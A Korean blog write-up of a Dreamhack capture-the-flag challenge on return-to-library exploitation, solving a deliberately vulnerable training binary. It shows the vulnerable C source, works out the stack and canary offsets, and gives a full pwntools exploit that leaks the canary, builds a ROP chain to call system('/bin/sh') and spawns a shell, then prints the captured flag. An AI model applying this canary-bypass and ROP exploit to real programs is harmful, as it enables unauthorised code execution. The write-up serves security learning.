[dreamhack][writeup] System-stage7 : Return to Library

mj·2023년 5월 21일
0
post-thumbnail

1. 파일 확인

소스 파일 확인

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

보호 기법 확인

분석

해당 바이너리에는 PIE 기법이 적용되어 있지 않으므로 데이터 영역과 코드영역의 주소는 변경되지 않는다.

위 코드에서는 system 함수가 실행되었으므로, PLT 에 system 함수가 등록되었을 것이다. Return to PLT 기법을 사용하여 exploit 코드를 작성하면 될 것 같다.

2. 필요 정보 확인

카나리 정보 확인

카나리를 우회하기 위해서는 카나리에 대한 정보가 필요하다
필요한 정보는 다음과 같다.

  • buf 와 카나리 주소 차이
  • 카나리와 rbp 주소 차이

"/bin/sh/" 문자열 주소

쉘을 실행하기 위해서는 "/bin/sh" 문자열의 주소를 system 함수의 인자로 넘겨주어야 한다.

여기에서는 전역 변수에 쓰인 binsh 을 활용할 것이다.

3. 필요 정보 수집

카나리 주소 확인

카나리는 rbp-0x8 에 위치한다.

  • 카나리 : rbp-0x8

buf 주소 확인

소스 코드를 보면 read 함수의 두번째 인자로 buf 의 주소가 쓰이고 있다. read 함수의 호출 직전에 rsi 레지스터 값을 확인해보면 된다.

rbp-0x40 주소가 rax 레지스터에 들어가고, 다시 rax 값이 rsi 레지스터로 들어간다.

  • buf 주소: rbp-0x40

스택 구조 유추

수집한 정보를 가지고 스택 구조를 유추해보면 위와 같다.

"/bin/sh" 문자열 찾기

"/bin/sh" 문자열은 pwndbg 기능을 사용하여 찾을 수 있다. 해당 바이너리는 PIE 가 걸려있지 않으므로 데이터 영역에 있는 코드의 주소는 변경되지 않는다.
(pwntools 모듈의 기능을 사용할 수도 있다.)

  • binsh : 0x400874

4. exploit 코드 작성

exploit 코드를 작성하고 테스트를 해보았을 때 쉘이 얻어지지 않았다. 문제를 확인해보니 system 함수를 실행할 때는 스택이 0x10 단위로 정렬되어 있어야 한다고 한다.

그래서 의미없는 가젯 ret 을 추가로 넣어주었다.

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process("./rtl")
#p = remote("host3.dreamhack.games", 18303)
e = ELF("./rtl")
r = ROP("./rtl")

payload = b''
payload += b'A'*57

p.recvuntil(b"Buf: ")
p.send(payload)

p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)

system_plt = e.plt["system"]
slog("system", system_plt)

binsh = next(e.search(b"/bin/sh"))
slog("binsh", binsh)

pop_ret = r.find_gadget(["pop rdi"])[0]
ret = r.find_gadget(["ret"])[0]
slog("pop_ret", pop_ret)
slog("ret", ret)

payload = b""
payload += b"A"*56
payload += p64(canary)
payload += b"A"*8
payload += p64(pop_ret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_plt)

p.recvuntil(b"Buf: ")
p.send(payload)

p.interactive()

5. 공격

flag 를 획득하였다.

  • flag : DH{13e0d0ddf0c71c0ac4410687c11e6b00}
profile
사는게 쉽지가 않네요

0개의 댓글